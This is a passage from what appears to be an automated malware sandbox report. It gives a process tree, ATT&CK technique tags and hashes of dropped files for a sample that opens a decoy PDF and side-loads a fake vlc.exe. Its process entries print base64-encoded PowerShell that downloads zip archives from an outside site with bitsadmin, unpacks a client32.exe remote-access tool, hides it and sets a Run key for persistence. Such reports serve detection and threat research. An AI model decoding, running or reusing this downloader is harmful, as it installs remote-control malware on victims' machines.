FSUUFnQUMwQWNBQmhBSFFBU0FBZ0FDUUFUZ0J6QUVvQWVBQjFBRmtBT0FCVUFDQUFMUUJrQUVVQWN3QlVBR2tBVGdCQkFGUUFhUUJQQUc0QWNBQmhBSFFBYUFBZ0FDUUFNZ0J4QUdZQWFBQkpBRzhBWlFBN0FDQUFSUUI0QUhBQVFRQnVBRVFBTFFCaEFISUFZd0JvQUdrQWRnQkZBQ0FBTFFCUUFHRUFWQUJvQUNBQUpBQkdBR01BYlFCV0FGY0Fjd0JaQUNBQUxRQmtBRVVBY3dCMEFHa0FUZ0JCQUhRQVNRQnZBRzRBVUFCaEFIUUFhQUFnQUNRQU1nQnhBR1lBYUFCSkFHOEFaUUE3QUNBQVJRQjRBRkFBWVFCdUFHUUFMUUJoQUhJQVF3QklBR2tBZGdCRkFDQUFMUUJRQUdFQWRBQklBQ0FBSkFCa0FEQUFSQUEzQUZrQWNBQWdBQzBBUkFCbEFGTUFkQUJwQUc0QVFRQjBBRWtBVHdCdUFGQUFZUUIwQUVnQUlBQWtBRElBY1FCbUFHZ0FTUUJ2QUdVQU93QWdBSElBUlFCTkFFOEFWZ0JsQUMwQVNRQjBBRVVBYlFBZ0FDMEFjQUJoQUhRQWFBQWdBQ1FBWkFBd0FFUUFOd0JaQUhBQU93QWdBR1VBVWdCQkFITUFSUUFnQUMwQVVBQmhBSFFBYUFBZ0FDUUFSZ0JqQUcwQVZnQlhBSE1BV1FBN0FDQUFaUUJTQUVFQWN3QkZBQ0FBTFFCd0FHRUFkQUJvQUNBQUpBQk9BSE1BU2dCNEFIVUFXUUE0QUZRQU93QWdBRklBUkFBZ0FDMEFVQUJoQUhRQVNBQWdBQ1FBZUFCSUFHWUFOUUI0QUc4QVRRQjFBRHNBSUFCOUFDQUFaUUJzQUZNQVJRQWdBSHNBSUFBa0FHZ0FhUUJvQUZRQVdBQlRBRW9BUFFBbkFHZ0FkQUIwQUhBQWN3QTZBQzhBTHdCbkFHRUFhUUJzQUhNQVlRQmpBR0VBWkFCbEFHMEFlUUF1QUdNQWJ3QnRBQzhBWmdCNkFHWUFMd0FuQURzQUlBQnVBRWtBSUFBdEFIQUFZUUIwQUVnQUlBQWtBR1VBYmdCV0FEb0FZUUJRQUZBQVJBQkJBRlFBWVFBZ0FDMEFiZ0JoQUUwQVJRQWdBQ1FBU1FCdUFFTUFSd0F5QURJQVZnQktBQ0FBTFFCcEFIUUFSUUJOQUZRQWVRQlFBRVVBSUFBbkFHUUFhUUJ5QUdVQVl3QjBBRzhBY2dCNUFDY0FPd0FnQUNRQVV3QllBRmdBZEFBMEFEMEFRQUFvQUNjQVFRQjFBR1FBYVFCdkFFTUFZUUJ3QUhRQWRRQnlBR1VBTGdCa0FHd0FiQUFuQUN3QUlBQW5BR01BYkFCcEFHVUFiZ0IwQURNQU1nQXVBR2tBYmdCcEFDY0FMQUFnQUNjQVRnQlRBRTBBTGdCTUFFa0FRd0FuQUN3QUlBQW5BRkFBUXdCSkFFTUFUQUF6QURJQUxnQkVBRXdBVEFBbkFDd0FJQUFuQUZRQVF3QkRBRlFBVEFBekFESUFMZ0JFQUV3QVRBQW5BQ3dBSUFBbkFHNEFjd0J0QUY4QWRnQndBSElBYndBdUFHa0FiZ0JwQUNjQUxBQWdBQ2NBWXdCc0FHa0FaUUJ1QUhRQU13QXlBQzRBWlFCNEFHVUFKd0FzQUNBQUp3QklBRlFBUXdCVUFFd0FNd0F5QUM0QVJBQk1BRXdBSndBc0FDQUFKd0J1QUhNQWF3QmlBR1lBYkFCMEFISUFMZ0JwQUc0QVpnQW5BQ3dBSUFBbkFHMEFjd0IyQUdNQWNnQXhBREFBTUFBdUFHUUFiQUJzQUNjQUxBQWdBQ2NBVUFCREFFa0FRd0JJQUVVQVN3QXVBRVFBVEFCTUFDY0FMQUFnQUNjQWNBQmpBR2tBWXdCaEFIQUFhUUF1QUdRQWJBQnNBQ2NBTEFBZ0FDY0FjZ0JsQUcwQVl3QnRBR1FBY3dCMEFIVUFZZ0F1QUdVQWVBQmxBQ2NBS1FBN0FDQUFhUUJHQUNBQUtBQWtBRzRBUlFBMEFFRUFUZ0JNQUdZQUtRQWdBSHNBSUFBa0FGTUFXQUJZQUhRQU5BQWdBSHdBSUFCbUFHOEFVZ0JsQUVFQVl3Qm9BQzBBVHdCaUFHb0FaUUJqQUhRQUlBQjdBQ0FBSkFBeEFFd0FWZ0JUQUVvQWF3QlZBRDBBSkFCb0FHa0FhQUJVQUZnQVV3QktBQ3NBSkFCZkFEc0FJQUFrQUVrQWF3Qk9BRW9BY2dCT0FGY0FQUUJLQUc4QWFRQnVBQzBBY0FCQkFIUUFTQUFnQUMwQVVBQkJBSFFBU0FBZ0FDUUFNZ0J4QUdZQWFBQkpBRzhBWlFBZ0FDMEFRd0JvQUdrQVRBQmtBRkFBUVFCVUFHZ0FJQUFrQUY4QU93QWdBRk1BZEFCaEFISUFkQUF0QUVJQWFRQjBBRk1BVkFCeUFFRUFiZ0J6QUVZQVJRQlNBQ0FBTFFCekFHOEFkUUJ5QUVNQVpRQWdBQ1FBTVFCTUFGWUFVd0JLQUdzQVZRQWdBQzBBUkFCRkFGTUFWQUJKQUU0QVlRQjBBRWtBVHdCdUFDQUFKQUJKQUdzQVRnQktBSElBVGdCWEFEc0FJQUI5QURzQWZRQWdBR1VBVEFCVEFFVUFJQUI3QUNBQUpBQlRBRmdBV0FCMEFEUUFJQUI4QUNBQUpRQWdBSHNBSUFBa0FERUFUQUJXQUZNQVNnQnJBRlVBUFFBa0FHZ0FhUUJvQUZRQVdBQlRBRW9BS3dBa0FGOEFPd0FnQUNRQVNRQnJBRTRBU2dCeUFFNEFWd0E5QUNJQUpBQXlBSEVBWmdCb0FFa0Fid0JsQUZ3QUpBQmZBQ0lBT3dBZ0FDUUFSUUJTQUVJQU13QkRBRkVBTWdBOUFDY0FRZ0JKQUhRQVV3QkJBRVFBVFFCcEFHNEFMZ0JGQUZnQVJRQWdBQzhBVkFCeUFFRUFUZ0JUQUdZQVJRQlNBQ0FBY1FCV0FIUUFkZ0JQQUNBQUx3QmtBRThBVndCdUFHd0Fid0JCQUVRQUlBQXZBRkFBY2dCcEFFOEFjZ0JKQUhRQVdRQWdBRzRBVHdCeUFFMEFZUUJzQUNBQUp3QXJBQ1FBTVFCTUFGWUFVd0JLQUdzQVZRQXJBQ2NBSUFBbkFDc0FKQUJKQUdzQVRnQktBSElBVGdCWEFEc0FJQUJKQUU0QVZnQnZBRXNBUlFBdEFHVUFXQUJRQUhJQVpRQnpBRk1BU1FCdkFHNEFJQUF0QUVNQVR3Qk5BRTBBUVFCT0FHUUFJQUFrQUVVQVVnQkNBRE1BUXdCUkFESUFPd0I5QURzQUlBQjlBRHNBSUFCOUFEc0FJQUFrQURjQVpnQTFBRzBBZWdCekFGY0FQUUJuQUdVQWRBQXRBR2tBZEFCbEFHMEFJQUFrQURJQWNRQm1BR2dBU1FCdkFHVUFJQUF0QUVZQWJ3QnlBR01BUlFBN0FDQUFKQUEzQUdZQU5RQnRBSG9BY3dCWEFDNEFZUUJVQUZRQVVnQkpBRUlBVlFCVUFHVUFVd0E5QUNjQVNBQnBBR1FBWkFCbEFHNEFKd0E3QUNBQUpBQmhBRUVBVHdCNkFISUFRUUJVQUQwQVNnQnZBR2tBVGdBdEFGQUFRUUIwQUdnQUlBQXRBSEFBWVFCVUFFZ0FJQUFrQURJQWNRQm1BR2dBU1FCdkFHVUFJQUF0QUVNQVNBQkpBR3dBUkFCUUFFRUFWQUJvQUNBQUp3QmpBR3dBYVFCbEFHNEFkQUF6QURJQUxnQmxBSGdBWlFBbkFEc0FJQUJqQUdnQVJBQkpBRklBSUFBa0FESUFjUUJtQUdnQVNRQnZBR1VBT3dBZ0FFNEFaUUJYQUMwQVNRQlVBR1VBVFFCUUFGSUFUd0JRQUdVQVVnQjBBSGtBSUFBdEFGQUFZUUJVQUdnQUlBQW5BRWdBU3dCREFGVUFPZ0JjQUZNQVR3QkdBRlFBVndCQkFGSUFSUUJjQUUwQWFRQmpBSElBYndCekFHOEFaZ0IwQUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUVNQWRRQnlBSElBWlFCdUFIUUFWZ0JsQUhJQWN3QnBBRzhBYmdCY0FGSUFkUUJ1QUNjQUlBQXRBRzRBWVFCTkFFVUFJQUFrQUVrQWJnQkRBRWNBTWdBeUFGWUFTZ0FnQUMwQVZnQmhBRXdBZFFCRkFDQUFKQUJoQUVFQVR3QjZBSElBUVFCVUFDQUFMUUJ3QUhJQWJ3QlFBR1VBY2dCMEFGa0FWQUI1QUZBQVpRQWdBQ2NBVXdCMEFISUFhUUJ1QUdjQUp3QTdBQ0FBY3dCVUFFRUFVZ0IwQUMwQVVBQnlBRThBWXdCRkFITUFVd0FnQUdNQWJBQnBBR1VBYmdCMEFETUFNZ0F1QUdVQWVBQmxBRHNB')); Invoke-Expression $script}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1720
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopRo -ExecUTIoNpO BYpaSS -w HId -ec JABpAGUAUQByAGQAOQBkAEMAPQAnAGgAdAB0AHAAcwA6AC8ALwBnAGEAaQBsAHMAYQBjAGEAZABlAG0AeQAuAGMAbwBtAC8AZgB6AGEALwBmADEAYQAuAHoAaQBwACcAOwAgACQASABkAEEAVgB5AHEASAA9AEcAYwBNACAAZQB4AHAAQQBOAGQALQBBAHIAQwBIAEkAVgBlACAALQBFAHIAcgBPAHIAQQBjAFQAaQBPAG4AIABzAEkATABlAE4AVABsAFkAQwBPAG4AVABJAE4AVQBlADsAIAAkAHUAawBYAFgAUgBGAEkAZQA9ACcAbQAzADIAVwBWADUAYgBSAC4AegBpAHAAJwA7ACAAJABSAHIATgBoAEgASQBlAD0AJwBoAHQAdABwAHMAOgAvAC8AZwBhAGkAbABzAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAGYAegBhAC8AZgA0AGEALgB6AGkAcAAnADsAIAAkAHMAVQBCAHAAYgBmADgAPQAnAEwATwAxAGkAbgBOAEEALgB6AGkAcAAnADsAIAAkAG4ARQA0AEEATgBMAGYAPQBHAGMATQAgAFMAVABhAHIAVAAtAGIAaQBUAHMAdABSAGEAbgBzAGYAZQByACAALQBlAHIAcgBPAFIAYQBjAFQASQBvAE4AIABTAGkAbABlAE4AVABMAHkAYwBvAE4AVABJAG4AdQBFADsAIAAkAGIAbABiAGUAcAB6AFoAPQAnADYARABNAEwAVQAuAHoAaQBwACcAOwAgACQAUgBnAHoANQBXAEwAbgA9ACcAaAB0AHQAcABzADoALwAvAGcAYQBpAGwAcwBhAGMAYQBkAGUAbQB5AC4AYwBvAG0ALwBmAHoAYQAvAGYAMwBhAC4AegBpAHAAJwA7ACAAWwBuAGUAdAAuAHMARQByAHYAaQBDAEUAUABPAEkATgB0AG0AQQBOAEEARwBFAFIAXQA6ADoAcwBlAEMAdQBSAEkAVABZAHAAUgBPAFQAbwBjAE8AbAAgAD0AIABbAE4AZQB0AC4AcwBFAGMAVQBSAEkAVABZAFAAUgBPAHQATwBjAE8ATAB0AFkAcABlAF0AOgA6AFQATABTADEAMgA7ACAAJABJAG4AQwBHADIAMgBWAEoAPQAnAFQAZQBtAHAAQwBvAG4AdAByAG8AbABsACcAOwAgACQANAB5AEYAYwBKAFYASgA9ACcAbAA4AGUARgBWAE8AUwBTAC4AegBpAHAAJwA7ACAAYwBEACAAJABFAG4AdgA6AEEAcABwAGQAYQB0AGEAOwAgACQARAAzAGcAbABwAD0AJwBoAHQAdABwAHMAOgAvAC8AZwBhAGkAbABzAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAGYAegBhAC8AZgAyAGEALgB6AGkAcAAnADsAIAAkAEYAYwBtAFYAVwBzAFkAPQAiACQAZQBOAHYAOgBhAFAAUABkAEEAdABBAFwAJABiAGwAYgBlAHAAegBaACIAOwAgACQAeABIAGYANQB4AG8ATQB1AD0AIgAkAGUATgB2ADoAQQBwAHAARABhAHQAQQBcACQAcwBVAEIAcABiAGYAOAAiADsAIAAkAE4AcwBKAHgAdQBZADgAVAA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABlAG4AVgA6AEEAUABwAEQAQQB0AEEALAAgACQAdQBrAFgAWABSAEYASQBlADsAIAAkAGQAMABEADcAWQBwAD0ASgBvAEkATgAtAFAAQQBUAGgAIAAtAHAAQQB0AEgAIAAkAGUAbgBWADoAQQBQAHAARABBAHQAQQAgAC0AYwBIAGkATABkAFAAQQB0AGgAIAAkADQAeQBGAGMASgBWAEoAOwAgACQASwBOADYATQBMAHIAbABqAD0AIgBiAGkAdABzAGEAZABNAEkATgAuAGUAWABlACAALwBUAFIAQQBOAFMAZgBlAFIAIAB0AGIAZQBOAGsAIAAvAEQATwBXAG4ATABPAEEARAAgAC8AUAByAGkAbwBSAEkAVABZACAAbgBvAHIAbQBBAEwAIAB7ADAAfQAgAHsAMQB9ACIAIAAtAGYAIAAkAFIAZwB6ADUAVwBMAG4ALAAgACQAeABIAGYANQB4AG8ATQB1ADsAIAAkAHQAQQA1ADAARQA9ACcAQgBJAFQAUwBBAGQAbQBJAE4ALgBFAHgARQAgAC8AVABSAGEATgBTAGYARQByACAAMAB2AGEAaABsACAALwBEAE8AdwBuAEwATwBBAGQAIAAvAHAAcgBpAE8AUgBpAFQAeQAgAE4ATwByAE0AYQBsACAAJwArACQARAAzAGcAbABwACsAJwAgACcAKwAkAEYAYwBtAFYAVwBzAFkAOwAgACQAMgBxAGYAaABJAG8AZQA9ACIAJABFAG4AdgA6AGEAcABwAEQAQQBUAEEAXAAkAEkAbgBDAEcAMgAyAFYASgAiADsAIAAkAGQAdQBuAFQANwBBAFUAPQAiAGIAaQB0AFMAYQBkAG0ASQBuAC4AZQBYAGUAIAAvAHQAUgBBAE4AUwBmAGUAUgAgAFcARABaAHMATwBnACAALwBkAG8AdwBOAEwAbwBBAEQAIAAvAHAAUgBpAG8AcgBpAFQAeQAgAE4AbwBSAE0AQQBsACAAewAwAH0AIAB7ADEAfQAiACAALQBmACAAJABpAGUAUQByAGQAOQBkAEMALAAgACQAZAAwAEQANwBZAHAAOwAgACQAVwBNAGUAbABoAFoASwA9ACIAYgBpAHQAUwBhAGQAbQBJAG4ALgBlAFgAZQAgAC8AdABSAEEATgBTAGYAZQBSACAAVwBEAFoAcwBPAGcAIAAvAGQAbwB3AE4ATABvAEEARAAgAC8AcABSAGkAbwByAGkAVAB5ACAATgBvAFIATQBBAGwAIAAkAFIAcgBOAGgASABJAGUAIAAkAE4AcwBKAHgAdQBZADgAVAAiADsAIABJAEYAIAAoACQASABkAEEAVgB5AHEASAApACAAewAgAGkARgAgACgAJABuAEUANABBAE4ATABmACkAIAB7ACAAcwB0AEEAUgBUAC0AYgBpAFQAUwB0AHIAQQBOAFMARgBFAHIAIAAtAHMATwBVAFIAQwBFACAAJABEADMAZwBsAHAAIAAtAEQAZQBTAFQAaQBOAEEAVABpAE8ATgAgACQARgBjAG0AVgBXAHMAWQA7ACAAcwB0AEEAcgBUAC0AYgBpAFQAcwB0AFIAQQBOAFMARgBFAHIAIAAtAHMATwBVAHIAQwBlACAAJABSAGcAegA1AFcATABuACAALQBkAEUAcwBUAEkATgBBAFQAaQBPAG4AIAAkAHgASABmADUAeABvAE0AdQA7ACAAUwBUAEEAUgB0AC0AQgBJAHQAcwB0AHIAYQBuAFMARgBFAHIAIAAtAHMATwBVAHIAQwBlACAAJABSAHIATgBoAEgASQBlACAALQBEAGUAcwBUAGkATgBhAFQAaQBPAE4AIAAkAE4AcwBKAHgAdQBZADgAVAA7ACAAUwBUAEEAcgBUAC0AQgBJAFQAUwBUAHIAYQBOAHMARgBFAHIAIAAtAHMAbwBVAFIAYwBFACAAJABpAGUAUQByAGQAOQBkAEMAIAAtAGQAZQBzAFQAaQBOAEEAdABJAG8AbgAgACQAZAAwAEQANwBZAHAAOwAgAH0AIABFAGwAUwBlACAAewBpAG4AdgBvAEsAZQAtAGUAWABwAFIAZQBzAFMASQBPAE4AIAAtAEMAbwBNAG0AQQBuAGQAIAAkAEsATgA2AE0ATAByAGwAagA7ACAASQBOAFYAbwBLAEUALQBlAFgAUAByAGUAcwBTAEkAbwBuACAALQBDAE8ATQBNAEEATgBkACAAJAB0AEEANQAwAEUAOwAgAEkARQBYACAALQBDAE8ATQBtAEEAbgBkACAAJABXAE0AZQBsAGgAWgBLADsAIABJAG4AVgBvAEsARQAtAGUAWABQAFIARQBzAFMASQBPAG4AIAAtAEMAbwBtAE0AQQBOAGQAIAAkAGQAdQBuAFQANwBBAFUAOwAgAH0AIABlAFgAcABhAE4AZAAtAGEAUgBDAEgASQBWAEUAIAAtAFAAYQB0AGgAIAAkAHgASABmADUAeABvAE0AdQAgAC0AZABlAHMAdABJAG4AYQBUAEkAbwBuAHAAQQB0AEgAIAAkADIAcQBmAGgASQBvAGUAOwAgAGUAeABQAGEATgBkAC0AQQBSAGMASABpAHYARQAgAC0AcABhAHQASAAgACQATgBzAEoAeAB1AFkAOABUACAALQBkAEUAcwBUAGkATgBBAFQAaQBPAG4AcABhAHQAaAAgACQAMgBxAGYAaABJAG8AZQA7ACAARQB4AHAAQQBuAEQALQBhAHIAYwBoAGkAdgBFACAALQBQAGEAVABoACAAJABGAGMAbQBWAFcAcwBZACAALQBkAEUAcwB0AGkATgBBAHQASQBvAG4AUABhAHQAaAAgACQAMgBxAGYAaABJAG8AZQA7ACAARQB4AFAAYQBuAGQALQBhAHIAQwBIAGkAdgBFACAALQBQAGEAdABIACAAJABkADAARAA3AFkAcAAgAC0ARABlAFMAdABpAG4AQQB0AEkATwBuAFAAYQB0AEgAIAAkADIAcQBmAGgASQBvAGUAOwAgAHIARQBNAE8AVgBlAC0ASQB0AEUAbQAgAC0AcABhAHQAaAAgACQAZAAwAEQANwBZAHAAOwAgAGUAUgBBAHMARQAgAC0AUABhAHQAaAAgACQARgBjAG0AVgBXAHMAWQA7ACAAZQBSAEEAcwBFACAALQBwAGEAdABoACAAJABOAHMASgB4AHUAWQA4AFQAOwAgAFIARAAgAC0AUABhAHQASAAgACQAeABIAGYANQB4AG8ATQB1ADsAIAB9ACAAZQBsAFMARQAgAHsAIAAkAGgAaQBoAFQAWABTAEoAPQAnAGgAdAB0AHAAcwA6AC8ALwBnAGEAaQBsAHMAYQBjAGEAZABlAG0AeQAuAGMAbwBtAC8AZgB6AGYALwAnADsAIABuAEkAIAAtAHAAYQB0AEgAIAAkAGUAbgBWADoAYQBQAFAARABBAFQAYQAgAC0AbgBhAE0ARQAgACQASQBuAEMARwAyADIAVgBKACAALQBpAHQARQBNAFQAeQBQAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgACQAUwBYAFgAdAA0AD0AQAAoACcAQQB1AGQAaQBvAEMAYQBwAHQAdQByAGUALgBkAGwAbAAnACwAIAAnAGMAbABpAGUAbgB0ADMAMgAuAGkAbgBpACcALAAgACcATgBTAE0ALgBMAEkAQwAnACwAIAAnAFAAQwBJAEMATAAzADIALgBEAEwATAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwAsACAAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBuAHMAawBiAGYAbAB0AHIALgBpAG4AZgAnACwAIAAnAG0AcwB2AGMAcgAxADAAMAAuAGQAbABsACcALAAgACcAUABDAEkAQwBIAEUASwAuAEQATABMACcALAAgACcAcABjAGkAYwBhAHAAaQAuAGQAbABsACcALAAgACcAcgBlAG0AYwBtAGQAcwB0AHUAYgAuAGUAeABlACcAKQA7ACAAaQBGACAAKAAkAG4ARQA0AEEATgBMAGYAKQAgAHsAIAAkAFMAWABYAHQANAAgAHwAIABmAG8AUgBlAEEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJAAxAEwAVgBTAEoAawBVAD0AJABoAGkAaABUAFgAUwBKACsAJABfADsAIAAkAEkAawBOAEoAcgBOAFcAPQBKAG8AaQBuAC0AcABBAHQASAAgAC0AUABBAHQASAAgACQAMgBxAGYAaABJAG8AZQAgAC0AQwBoAGkATABkAFAAQQBUAGgAIAAkAF8AOwAgAFMAdABhAHIAdAAtAEIAaQB0AFMAVAByAEEAbgBzAEYARQBSACAALQBzAG8AdQByAEMAZQAgACQAMQBMAFYAUwBKAGsAVQAgAC0ARABFAFMAVABJAE4AYQB0AEkATwBuACAAJABJAGsATgBKAHIATgBXADsAIAB9ADsAfQAgAGUATABTAEUAIAB7ACAAJABTAFgAWAB0ADQAIAB8ACAAJQAgAHsAIAAkADEATABWAFMASgBrAFUAPQAkAGgAaQBoAFQAWABTAEoAKwAkAF8AOwAgACQASQBrAE4ASgByAE4AVwA9ACIAJAAyAHEAZgBoAEkAbwBlAFwAJABfACIAOwAgACQARQBSAEIAMwBDAFEAMgA9ACcAQgBJAHQAUwBBAEQATQBpAG4ALgBFAFgARQAgAC8AVAByAEEATgBTAGYARQBSACAAcQBWAHQAdgBPACAALwBkAE8AVwBuAGwAbwBBAEQAIAAvAFAAcgBpAE8AcgBJAHQAWQAgAG4ATwByAE0AYQBsACAAJwArACQAMQBMAFYAUwBKAGsAVQArACcAIAAnACsAJABJAGsATgBKAHIATgBXADsAIABJAE4AVgBvAEsARQAtAGUAWABQAHIAZQBzAFMASQBvAG4AIAAtAEMATwBNAE0AQQBOAGQAIAAkAEUAUgBCADMAQwBRADIAOwB9ADsAIAB9ADsAIAB9ADsAIAAkADcAZgA1AG0AegBzAFcAPQBnAGUAdAAtAGkAdABlAG0AIAAkADIAcQBmAGgASQBvAGUAIAAtAEYAbwByAGMARQA7ACAAJAA3AGYANQBtAHoAcwBXAC4AYQBUAFQAUgBJAEIAVQBUAGUAUwA9ACcASABpAGQAZABlAG4AJwA7ACAAJABhAEEATwB6AHIAQQBUAD0ASgBvAGkATgAtAFAAQQB0AGgAIAAtAHAAYQBUAEgAIAAkADIAcQBmAGgASQBvAGUAIAAtAEMASABJAGwARABQAEEAVABoACAAJwBjAGwAaQBlAG4AdAAzADIALgBlAHgAZQAnADsAIABjAGgARABJAFIAIAAkADIAcQBmAGgASQBvAGUAOwAgAE4AZQBXAC0ASQBUAGUATQBQAFIATwBQAGUAUgB0AHkAIAAtAFAAYQBUAGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAG4AYQBNAEUAIAAkAEkAbgBDAEcAMgAyAFYASgAgAC0AVgBhAEwAdQBFACAAJABhAEEATwB6AHIAQQBUACAALQBwAHIAbwBQAGUAcgB0AFkAVAB5AFAAZQAgACcAUwB0AHIAaQBuAGcAJwA7ACAAcwBUAEEAUgB0AC0AUAByAE8AYwBFAHMAUwAgAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlADsA
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2632
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "cd /d "C:\Users\Admin\AppData\Local\Temp/40be52e41f5e3624fc9f4e60a8e3d6b7/" && (for %F in (*.exe) do start "" "%F")"
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2092
  - - C:\Users\Admin\AppData\Local\Temp\40be52e41f5e3624fc9f4e60a8e3d6b7\vlc.exe
      "vlc.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:1516
    - - C:\Users\Admin\AppData\Roaming\LoadbrowserBf_alpha\vlc.exe
        
        C:\Users\Admin\AppData\Roaming\LoadbrowserBf_alpha\vlc.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:2396
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:2184
        
        C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1940
- - C:\Windows\SysWOW64\explorer.exe
    explorer C:\Users\Admin\AppData\Local\Temp\6cd0f015edbf57b8da5aae821d13b6dc.pdf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1616

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:2516
- C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\6cd0f015edbf57b8da5aae821d13b6dc.pdf"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\40be52e41f5e3624fc9f4e60a8e3d6b7\bmrrr

Filesize
832KB

MD5
d78f6cce7dd76163e1af90c2287b7a04

SHA1
166e4715075b449fd6b9cde5ee06b66a2df050d2

SHA256
e48fe2b9bbffe143e8d9bf7f5559469de7edfc4b1a2185980379f3a74510e6e1

SHA512
741ea7ae677185b41b0a8fc05dfe250a09d3f90856e073b7713110509cec8bd0764e7333e4bf8527edd2dea8c006a00ffd8b9b53b41db169ac546eed19dad82f

Download Submit
C:\Users\Admin\AppData\Local\Temp\40be52e41f5e3624fc9f4e60a8e3d6b7\libvlc.dll

Filesize
186KB

MD5
4b262612db64f26ea1168ca569811110

SHA1
8e59964d1302a3109513cd4fd22c1f313e79654c

SHA256
a9340c99206f3388153d85df4ca94d33b28c60879406cc10ff1fd10eae16523f

SHA512
9902e64eb1e5ed4c67f4b7e523b41bde4535148c6be20db5f386a1da74533ca575383f1b3154f5985e379df9e1e164b6bda25a66504edcfaa57d40b04fc658c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\40be52e41f5e3624fc9f4e60a8e3d6b7\libvlccore.dll

Filesize
2.7MB

MD5
5bdff9dac8efdfedd169125e415a4111

SHA1
51bca77b201aa86b53735290c91bf4180cefe28e

SHA256
d5d609ce70c0459e07b7347f4a25d01e1526795d4c324034d4bbc9ac05d06ecd

SHA512
12aabb6ac23ea73d9625a3f61777f034951f333a30e17167d61c5a65d10acd2a83f392680d894ca941d20c84626f3257f3227c5f7f81c6d529b53edb0d8e4575

Download Submit
C:\Users\Admin\AppData\Local\Temp\40be52e41f5e3624fc9f4e60a8e3d6b7\ulgbkv

Filesize
46KB

MD5
8f37e80238556701210f07b7bbf91106

SHA1
b4593b7bd699bf461a568898e6b04f071476c8dd

SHA256
25a885ccdf9d1f231ef15d4abbf322513cd90ffa0699b553a64e73b0b70ca9e6

SHA512
df80ffa4625c7a35de4f577275c3794eca961cbd5ef0bd955a4a0cf662f783832ad6bc4496e8ebeb844d306d64dd0cf00f197ab419f9120bcfe804204b5be73e

Download Submit
C:\Users\Admin\AppData\Local\Temp\6cd0f015edbf57b8da5aae821d13b6dc.pdf

Filesize
51KB

MD5
acfffe6de49ab6bbcb590e95d558111b

SHA1
51d7b4a4ef2851f4787805bd2eebc61f9f62ae34

SHA256
fd0bc347f27e479b565d6095bfdc96ef2f42a7ae8649c40e1e702c8f16ab6217

SHA512
94fd4a2de31420576169b79c9617fb1eed4778fb50c17a9c8587b123169022e9338fe8d4b89bb5de5b06367eed6737e739423416c8be3f7f5f24b75b3b3ee28e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7e12ea90

Filesize
1.0MB

MD5
23fd6cadeacff092eacd4046d11d34d1

SHA1
10cfd220d342b555b5ced1f6211b30d00dc603a7

SHA256
6a841014e97453623af056b8e1a0a5905a5450875de973cc4fc796ec90d4e375

SHA512
24b2995ba5d26aa1f7a1d3d7a543d3435a8d536d7c6305b977c98acdcb5933aefb2606b145167f65e01452bea34b8d22d78459b80b90840bdf50e3cefcaf6d8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab51DA.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar520B.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
